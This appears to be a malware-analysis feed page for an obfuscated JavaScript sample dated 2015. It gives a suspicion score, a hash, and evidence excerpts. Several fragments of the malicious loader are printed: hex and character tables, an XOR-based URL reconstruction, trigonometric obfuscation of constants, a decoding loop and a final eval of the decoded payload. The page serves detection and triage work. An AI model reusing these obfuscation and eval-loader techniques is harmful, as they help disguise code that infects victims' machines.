Suspicious 80% javascript-malware-collection Download

20151216_7be4ad748afff40eded3f450dc11c8d2.js

Heavily obfuscated eval payload

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression
SHA-2565d9d608e43375c4fb198420eb22fb0d6815b30f874168c2d51bf441ea68b5972

Evidence

0x3f hex byte token line 1
1hbLJyElV=[0x4,0x5,0xe,0x10,0x14,0x1a,0x1f,0x27,0x2c,0x2d,0x32,0x39,0x3f,0x43,0x46,0x4c,0x51,0x59,0x5b,0x63,0x65,0x69,0x6e,0x76,0x78,0x7d,0x83,0x8b,0x8e,0x92,0x97,0x9b,0xa2,0xa9,0xab,0xb1,0xb5,0xba,0x …
Builds characters with String.fromCharCode line 2
2:146… 'e','"','$','(','T','j','P','G','R',')','J','I','!','>','z','<',String.fromCharCode(10),'a','.','u','k','R','9','h','v','8','R','g','h','<','L','U','_',String.fromCharCode(13),'f','S','F','@','9','4','+','o','9','Y','j','8','R','.','x','%','d','"','A','g','x','q','`','7','h','I','y','L','v',':',' ','3','/','k','r','i','4','^','l',';',']','n','S','t','g','(','Y',',','h','_','z',' ','v','l','A','n','i','3','R','j','m','V',':',' ','t','k','0','G','Y','5 …
XOR URL reconstruction call line 2
2:1862… ')','0','A','Z','G','v','=','[','n','O','{','{','e',')','a','5',String.fromCharCode(92),']','$','@','k','x','A','B','Q','d','^','`','7','e','_','5','`','y','I','F','M','L','%','x','a',')','0','"',']','!','b','0',',','d','W','c','4','d','m','`','d','e','! …
Dense indexed short-token grid lines 4–13
4:44… wuGveZ){Xzyh=DKxpViOReMXJProrS(yuSfXKKvNkc,AwEQqjWuiqoDP);pzpII=Xzyh.toString(QuwuGveZ);return pzpII;}
5function gayQiAcVvzWwfnW(IZiozNglisIeyrnon,OCjpbxbjrOPCfeWTAmvyBGUIdkfThtPcye,hZUjSpyiurayfKbjVSLewnHXXswGWKrJgVp){eval(IZiozNglisIeyrnon);}
6function OPGtPwJGSkAbFNQlkjFxWrFrdmLbcXzfxOKZtSKwgDQPdsEWlIrDUy(tLPvgqFfRKpDo,KmHxBNpiJeAtit){ return oUWwfkP[hbLJyElV[uhwkG(tLPvgqFfRKpDo[KmHxBNpiJeAtit],(9782+186)/356,(1585+15)/160)]];}
7function iFbFVkM(leSQVWqHidGaUSpiFhsMCyCBTQbymQnwpQzm) {return !YhVhmMsLRUk(TmtyAgKEgExBmrs(leSQVWqHidGaUSpiFhsMCyCBTQbymQnwpQzm)) && ooyBbrmfuZJe(leSQVWqHidGaUSpiFhsMCyCBTQbymQnwpQzm);}
8function YhVhmMsLRUk(KwadaePtFRhgWD) {return isNaN(KwadaePtFRhgWD);}
9function ooyBbrmfuZJe(ZdAudkkXkpGAF) {return isFinite(ZdAudkkXkpGAF);}
10function DKxpViOReMXJProrS(TMEUNumpia,HwhQaksUym) {return parseInt(TMEUNumpia,HwhQaksUym);}
11function TmtyAgKEgExBmrs(RFxGpzGBntcIJLaPzwV) {return parseFloat(RFxGpzGBntcIJLaPzwV);}
12function h(MShGCHnqbnUdyC,DQRSmlPTPamVm,oLdyGflcoxT) {MShGCHnqbnUdyC[DQRSmlPTPamVm]=oLdyGflcoxT;}
13var T = new Array();T[0]=[];T[0][0]='d';T[0][1]='a';T[0][2]='d';T[0][3]='a';T[0][4]='46';T[0][5]='3d';T[0][6]='42';T[0][7]='14';T[0][8]='44';T[0][9]='14';T[0][10]='25';T[0][11]='14';T[0][12]='16';T[0][13]='47';T[0][14]='3k';T[0][15]='3d';T[0][16]='44';T[0][17]='3g';T[0][18]='3l';T[0][19]='3g';T[0][20]='49';T[0][21]='3 …
Numeric sine-square obfuscation expression lines 19–22
19:30… ],T[4],T[5]];
20var ywVpfdkma=[];
21function NroSyOEoZJQYgHfQa(qqISV){AeXFZIePCVp= '';EPIzjXaZwlG=Math.round((Math.pow(Math.sin(683), 2) + Math.pow(Math.cos(683), 2) - 1));while(true){if (EPIzjXaZwlG >= (2793+801)/599){break;}ywVpfdkma[EPIzjXaZwlG]=Math.round((Math.pow(Math.sin(105), 2) + Math.pow(Math.cos(105), 2) - 1)); while(true) { if(ywVpfdkma[EPIzjXaZwlG] > qqISV[EPIzjXaZwlG].length-(-532+684)/152) { break; } if (iFbFVkM(uhwkG(qqISV[EPIzjXaZwlG][ywVpfdkma[EPIzjXaZwlG]],(7007+301)/261,(4067+823)/489))) {AeXFZIePCVp += OPGtPwJGSkAbFNQlkjFxWrFrdmLbcXzfxOKZtSKwgDQPdsEWlIrDUy([qqISV[EPIzjXaZwlG][ywVpfdkma[EPIzjXaZwlG]]], Math.round((Math.pow(Math.sin(884), 2) + Math.pow(Math.cos(884), 2) - 1)));} ywVpfdkma[EPIzjXaZwlG]++;}EPIzjXaZwlG++;} return AeXFZIePCVp}
22var dYHgSJVyLFEHXeBuFWbdldWaUJQStyVSt = 'KXzpzeMDxgAmZBNnbVArucMQXsBLJOioUlpT';var muKNShgxvPLCYAADuDYcZxgdbEvYmRYB = 'DlPjeQSMaWExduzWMZQjGhglgECXqXYFxDtK';gayQiAcVvzWwfnW(NroSyOEoZJQYgHfQa(qqISV),dYHgSJVyLFEHXeBuFWbdldWaUJQStyVSt,muKNShgxvPLCYAADuDYcZxgdbEvYmRYB);

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.